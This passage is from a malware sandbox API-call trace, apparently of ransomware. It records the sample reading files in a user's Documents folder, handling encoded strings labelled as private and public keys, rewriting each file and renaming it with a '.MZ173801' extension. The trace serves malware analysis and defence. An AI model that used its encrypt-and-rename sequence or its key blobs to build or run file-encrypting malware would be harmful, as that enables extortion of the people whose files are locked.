"c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\ihvjct4-a.xls"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f15eb40, ftCreationTime.dwHighDateTime=0x1d5eda3, ftLastAccessTime.dwLowDateTime=0x46de7b40, ftLastAccessTime.dwHighDateTime=0x1d5e9d1, ftLastWriteTime.dwLowDateTime=0x46de7b40, ftLastWriteTime.dwHighDateTime=0x1d5e9d1, nFileSizeHigh=0x0, nFileSizeLow=0x69a)) returned 1 [0169.526] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\ihvJct4-a.xls" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\ihvjct4-a.xls")) returned 0x20 [0169.526] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\ihvJct4-a.xls", dwFileAttributes=0x80) returned 1 [0169.529] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0169.529] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321ec7c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0169.530] GetCurrentThreadId () returned 0xab4 [0169.530] GetCurrentThreadId () returned 0xab4 [0169.530] GetCurrentThreadId () returned 0xab4 [0169.531] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0169.531] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24a003c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0169.532] GetCurrentThreadId () returned 0xab4 [0169.532] GetCurrentThreadId () returned 0xab4 [0169.532] GetCurrentThreadId () returned 0xab4 [0169.532] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\ihvJct4-a.xls" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\ihvjct4-a.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0169.532] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0169.532] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0169.532] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x69a [0169.532] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0169.532] ReadFile (in: hFile=0x2f8, lpBuffer=0x24a7e40, nNumberOfBytesToRead=0x69a, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24a7e40*, lpNumberOfBytesRead=0x19f74c*=0x69a, lpOverlapped=0x0) returned 1 [0169.533] CloseHandle (hObject=0x2f8) returned 1 [0169.533] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\ihvJct4-a.xls" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\ihvjct4-a.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0169.535] WriteFile (in: hFile=0x2f8, lpBuffer=0x24a9e70*, nNumberOfBytesToWrite=0x69a, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24a9e70*, lpNumberOfBytesWritten=0x19f758*=0x69a, lpOverlapped=0x0) returned 1 [0169.536] CloseHandle (hObject=0x2f8) returned 1 [0169.536] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\ihvJct4-a.xls" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\ihvjct4-a.xls"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\ihvJct4-a.xls.MZ173801" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\ihvjct4-a.xls.mz173801")) returned 1 [0169.537] GetCurrentThreadId () returned 0xab4 [0169.537] GetCurrentThreadId () returned 0xab4 [0169.537] GetCurrentThreadId () returned 0xab4 [0169.537] GetCurrentThreadId () returned 0xab4 [0169.537] GetCurrentThreadId () returned 0xab4 [0169.537] GetCurrentThreadId () returned 0xab4 [0169.537] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78dde5c0, ftCreationTime.dwHighDateTime=0x1d5eaeb, ftLastAccessTime.dwLowDateTime=0x6af4d800, ftLastAccessTime.dwHighDateTime=0x1d5e718, ftLastWriteTime.dwLowDateTime=0x6af4d800, ftLastWriteTime.dwHighDateTime=0x1d5e718, nFileSizeHigh=0x0, nFileSizeLow=0x69ba, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="m5j0.docx", cAlternateFileName="M5J0~1.DOC")) returned 1 [0169.537] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0169.537] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0169.537] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\m5j0.docx" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\m5j0.docx"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78dde5c0, ftCreationTime.dwHighDateTime=0x1d5eaeb, ftLastAccessTime.dwLowDateTime=0x6af4d800, ftLastAccessTime.dwHighDateTime=0x1d5e718, ftLastWriteTime.dwLowDateTime=0x6af4d800, ftLastWriteTime.dwHighDateTime=0x1d5e718, nFileSizeHigh=0x0, nFileSizeLow=0x69ba)) returned 1 [0169.537] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\m5j0.docx" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\m5j0.docx")) returned 0x20 [0169.537] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\m5j0.docx", dwFileAttributes=0x80) returned 1 [0169.539] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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